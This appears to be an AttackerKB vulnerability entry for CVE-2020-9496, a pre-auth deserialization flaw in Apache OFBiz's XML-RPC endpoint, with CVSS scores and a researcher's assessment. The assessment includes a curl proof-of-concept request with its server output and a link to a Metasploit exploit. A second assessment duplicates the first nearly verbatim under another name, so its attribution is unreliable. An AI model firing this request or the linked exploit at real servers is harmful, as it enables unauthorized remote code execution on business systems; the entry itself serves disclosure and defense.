CVE-2020-9496

2020-07-1500:00:00

attackerkb.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

JSON

XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03

Recent assessments:

wvu-r7 at August 13, 2020 8:00pm UTC reported:

Pre-auth RCE in ERP software that’s free and isn’t SAP? Sweet. And it’s a long-standing Apache project that’s often recommended. Here’s a PoC:

wvu@kharak:~$ curl -vH "Content-Type: text/xml" http://127.0.0.1:8080/webtools/control/xmlrpc -d '&lt;?xml version="1.0"?&gt;&lt;methodCall&gt;&lt;methodName&gt;foo&lt;/methodName&gt;&lt;params&gt;&lt;param&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;bar&lt;/name&gt;&lt;value&gt;&lt;serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"&gt;&lt;/serializable&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;&lt;/methodCall&gt;'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
&gt; POST /webtools/control/xmlrpc HTTP/1.1
&gt; Host: 127.0.0.1:8080
&gt; User-Agent: curl/7.64.1
&gt; Accept: */*
&gt; Content-Type: text/xml
&gt; Content-Length: 273
&gt;
* upload completely sent off: 273 out of 273 bytes
&lt; HTTP/1.1 200 OK
&lt; Server: Apache-Coyote/1.1
&lt; Set-Cookie: JSESSIONID=D090A373F50D50CF8CFCF2F9E301D04A.jvm1; Path=/webtools/; Secure; HttpOnly
&lt; Set-Cookie: OFBiz.Visitor=10221; Expires=Fri, 13-Aug-2021 19:57:20 GMT; Path=/
&lt; Content-Type: text/xml;charset=UTF-8
&lt; Transfer-Encoding: chunked
&lt; Vary: Accept-Encoding
&lt; Date: Thu, 13 Aug 2020 19:57:20 GMT
&lt;
* Connection #0 to host 127.0.0.1 left intact
&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions"&gt;&lt;fault&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;faultCode&lt;/name&gt;&lt;value&gt;&lt;i4&gt;0&lt;/i4&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;faultString&lt;/name&gt;&lt;value&gt;Failed to read result object: null&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/fault&gt;&lt;/methodResponse&gt;* Closing connection 0
wvu@kharak:~$

A lot of orgs rely on ERP software, and you’re bound to find sensitive information in an ERP system. Note that these systems will likely be inside the network perimeter. High value for pentesters on an internal, I’d say.

Note that the CVE seems to conflate this with XSS. CVSS score seems lower than I’d expect.

ETA: Here’s an exploit: <https://github.com/rapid7/metasploit-framework/pull/14000>.

pbarry-r7 at August 24, 2020 3:13am UTC reported:

Pre-auth RCE in ERP software that’s free and isn’t SAP? Sweet. And it’s a long-standing Apache project that’s often recommended. Here’s a PoC:

wvu@kharak:~$ curl -vH "Content-Type: text/xml" http://127.0.0.1:8080/webtools/control/xmlrpc -d '&lt;?xml version="1.0"?&gt;&lt;methodCall&gt;&lt;methodName&gt;foo&lt;/methodName&gt;&lt;params&gt;&lt;param&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;bar&lt;/name&gt;&lt;value&gt;&lt;serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"&gt;&lt;/serializable&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;&lt;/methodCall&gt;'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
&gt; POST /webtools/control/xmlrpc HTTP/1.1
&gt; Host: 127.0.0.1:8080
&gt; User-Agent: curl/7.64.1
&gt; Accept: */*
&gt; Content-Type: text/xml
&gt; Content-Length: 273
&gt;
* upload completely sent off: 273 out of 273 bytes
&lt; HTTP/1.1 200 OK
&lt; Server: Apache-Coyote/1.1
&lt; Set-Cookie: JSESSIONID=D090A373F50D50CF8CFCF2F9E301D04A.jvm1; Path=/webtools/; Secure; HttpOnly
&lt; Set-Cookie: OFBiz.Visitor=10221; Expires=Fri, 13-Aug-2021 19:57:20 GMT; Path=/
&lt; Content-Type: text/xml;charset=UTF-8
&lt; Transfer-Encoding: chunked
&lt; Vary: Accept-Encoding
&lt; Date: Thu, 13 Aug 2020 19:57:20 GMT
&lt;
* Connection #0 to host 127.0.0.1 left intact
&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions"&gt;&lt;fault&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;faultCode&lt;/name&gt;&lt;value&gt;&lt;i4&gt;0&lt;/i4&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;faultString&lt;/name&gt;&lt;value&gt;Failed to read result object: null&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/fault&gt;&lt;/methodResponse&gt;* Closing connection 0
wvu@kharak:~$

Note that the CVE seems to conflate this with XSS. CVSS score seems lower than I’d expect.

ETA: Here’s an exploit: <https://github.com/rapid7/metasploit-framework/pull/14000>.

Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 5